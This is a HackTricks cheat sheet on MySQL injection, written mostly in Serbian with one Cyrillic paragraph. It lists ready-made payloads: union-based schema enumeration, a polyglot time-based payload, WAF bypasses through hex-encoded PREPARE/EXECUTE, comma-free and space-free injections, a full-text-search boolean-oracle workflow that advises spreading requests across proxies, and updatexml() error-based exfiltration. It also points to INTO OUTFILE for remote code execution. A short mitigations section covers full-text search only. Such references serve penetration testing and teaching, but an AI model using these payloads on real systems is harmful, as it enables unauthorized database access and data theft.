MySQL injection
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Komentari
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
Zanimljive funkcije
Potvrdi Mysql:
concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
Korisne funkcije
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
Sve injection
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
from https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/
Tok
Imajte na umu da u “modernim” verzijama MySQL možete koristiti “information_schema.tables” umesto “mysql.innodb_table_stats” (Ovo može biti korisno za zaobilaženje WAFs).
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
Samo 1 vrednost
group_concat()Limit X,1
Blind one by one
substr(version(),X,1)='r'orsubstring(version(),X,1)=0x70orascii(substr(version(),X,1))=112mid(version(),X,1)='5'
Blind adding
LPAD(version(),1...lenght(version()),'1')='asd'...RPAD(version(),1...lenght(version()),'1')='asd'...SELECT RIGHT(version(),1...lenght(version()))='asd'...SELECT LEFT(version(),1...lenght(version()))='asd'...SELECT INSTR('foobarbar', 'fo...')=1
Otkrivanje broja kolona
Koristeći jednostavan ORDER
order by 1
order by 2
order by 3
...
order by XXX
UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
MySQL Union Based
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
SSRF
Ovde saznajte različite opcije za abuse a Mysql injection to obtain a SSRF.
WAF bypass tricks
Executing queries through Prepared Statements
Kada su dozvoljeni stacked queries, može biti moguće zaobići WAFs dodeljivanjem promenljivoj hex representation upita koji želite da izvršite (korišćenjem SET), a zatim koristiti PREPARE i EXECUTE MySQL naredbe da biste na kraju izvršili upit. Nešto poput ovoga:
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
Za više informacija pogledajte this blog post.
Information_schema alternative
Zapamtite da u “modernim” verzijama MySQL možete zameniti information_schema.tables sa mysql.innodb_table_stats ili sa sys.x$schema_flattened_keys ili sa sys.schema_table_statistics
MySQLinjection bez ZAREZA
Select 2 columns bez upotrebe bilo kog zareza (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
Dohvatanje vrednosti bez imena kolone
Ako u nekom trenutku znate ime tabele, ali ne znate imena kolona u toj tabeli, možete pokušati da otkrijete koliko kolona ima izvršavanjem nečega poput:
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
Pretpostavljajući da postoje 2 kolone (pri čemu je prva ID), a druga flag, možete pokušati da bruteforce sadržaj flag pokušavajući znak po znak:
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
More info in https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952
Injection without SPACES (/**/ comment trick)
Neke aplikacije sanitizuju ili parsiraju korisnički unos funkcijama kao što je sscanf("%128s", buf) koje se zaustave na prvom znaku razmaka.
Pošto MySQL tretira niz /**/ kao komentar i kao prazne znakove, može se koristiti da potpuno ukloni normalne razmake iz payload-a, istovremeno održavajući upit sintaktički validnim.
Primer time-based blind injection koji zaobilazi filter razmaka:
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
Koju baza podataka prima kao:
' OR SLEEP(5)-- -'
Ovo je posebno korisno kada:
- Kontrolisani bafer je ograničen veličinom (npr.
%128s) i razmaci bi preuranjeno prekinuli unos. - Injektovanje kroz HTTP headers ili druga polja gde su normalni razmaci uklonjeni ili korišćeni kao separatori.
- U kombinaciji sa
INTO OUTFILEprimitivima za postizanje potpunog pre-auth RCE (pogledajte MySQL File RCE sekciju).
Istorija MySQL-a
Možete videti druga izvršenja u MySQL-u čitajući tabelu: sys.x$statement_analysis
Verzija alternativas
mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)
Ovo nije klasičan SQL injection. Kada developeri ubace korisnički unos u MATCH(col) AGAINST('...' IN BOOLEAN MODE), MySQL izvršava bogat skup Boolean search operatora unutar navodnika. Mnoge WAF/SAST rules se fokusiraju samo na razbijanje navodnika i propuštaju ovu površinu.
Key points:
- Operatori se tumače unutar navodnika:
+(mora biti prisutan),-(ne sme biti prisutan),*(wildcard na kraju),"..."(tačna fraza),()(grupisanje),</>/~(težine). Vidi MySQL docs. - Ovo omogućava testove prisustva/odsustva i testove prefiksa bez izlaska iz string literala, npr.
AGAINST('+admin*' IN BOOLEAN MODE)da se proveri bilo koji termin koji počinje saadmin. - Korisno za izgradnju oracles kao što su „da li bilo koji red sadrži termin sa prefiksom X?“ i za nabrajanje skrivenih stringova putem proširenja prefiksa.
Example query built by the backend:
SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);
Ako aplikacija vraća različite odgovore u zavisnosti od toga da li je result set prazan (npr. redirect vs. error message), to ponašanje postaje Boolean oracle koji se može koristiti za enumeraciju privatnih podataka kao što su hidden/deleted titles.
Sanitizer bypass patterns (generic):
- Boundary-trim preserving wildcard: if the backend trims 1–2 trailing characters per word via a regex like
(\b.{1,2})(\s)|(\b.{1,2}$), submitprefix*ZZ. The cleaner trims theZZbut leaves the*, soprefix*survives. - Early-break stripping: if the code strips operators per word but stops processing when it finds any token with length ≥ min length, send two tokens: the first is a junk token that meets the length threshold, the second carries the operator payload. For example:
&&&&& +jack*ZZ→ after cleaning:+&&&&& +jack*.
Payload template (URL-encoded):
keywords=%26%26%26%26%26+%2B{FUZZ}*xD
%26je&,%2Bje+. ZavršnixD(ili bilo koja dva slova) se obrezuje od strane čistača, uz očuvanje{FUZZ}*.- Smatrajte redirekciju kao “match” i stranicu sa greškom kao “no match”. Ne pratite redirekcije automatski da oracle ostane uočljiv.
Enumeration workflow:
- Počnite sa
{FUZZ} = a…z,0…9da biste pronašli podudaranja prvog slova koristeći+a*,+b*, … - Za svaki pozitivan prefiks razgranajte:
a* → aa* / ab* / …. Ponavljajte dok ne rekonstrušete ceo string. - Raspodelite zahteve (proxy-e, više naloga) ako aplikacija primenjuje flood control.
Why titles often leak while contents don’t:
- Neke aplikacije primenjuju provere vidljivosti tek nakon preliminarnog MATCH na titles/subjects. Ako control-flow zavisi od ishoda “any results?” pre filtriranja, pojavljuju se existence leaks.
Mitigations:
- If you don’t need Boolean logic, use
IN NATURAL LANGUAGE MODEor treat user input as a literal (escape/quote disables operators in other modes). - If Boolean mode is required, strip or neutralize all Boolean operators (
+ - * " ( ) < > ~) for every token (no early breaks) after tokenization. - Apply visibility/authorization filters before MATCH, or unify responses (constant timing/status) when the result set is empty vs. non-empty.
- Review analogous features in other DBMS: PostgreSQL
to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2CONTAINSalso parse operators inside quoted arguments.
Notes:
- Prepared statements do not protect against semantic abuse of
REGEXPor search operators. An input like.*remains a permissive regex even inside a quotedREGEXP '.*'. Use allow-lists or explicit guards.
Error-based exfiltration via updatexml()
When the application only returns SQL errors (not raw result sets), you can leak data through MySQL error strings:
dimension: id {
type: number
sql: updatexml(null, concat(0x7e, IFNULL((SELECT name FROM project_state LIMIT 1 OFFSET 0), 'NULL'), 0x7e, '///'), null) ;;
}
updatexml() подиже XPATH грешку која уграђује конкатенирани string, тако да се вредност из унутрашњег SELECT појављује у одговору о грешци између делимитера (0x7e = ~). Понављајте LIMIT 1 OFFSET N да бисте набројали редове. Ово ради чак и када UI присилjava “boolean” тестове јер се порука о грешци и даље приказује.
Ostali MYSQL injection vodiči
Reference
- Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)
- MySQL Full-Text Search – Boolean mode
- MySQL Full-Text Search – Overview
- MySQL REGEXP documentation
- ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)
- LookOut: RCE and internal access on Looker (Tenable)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


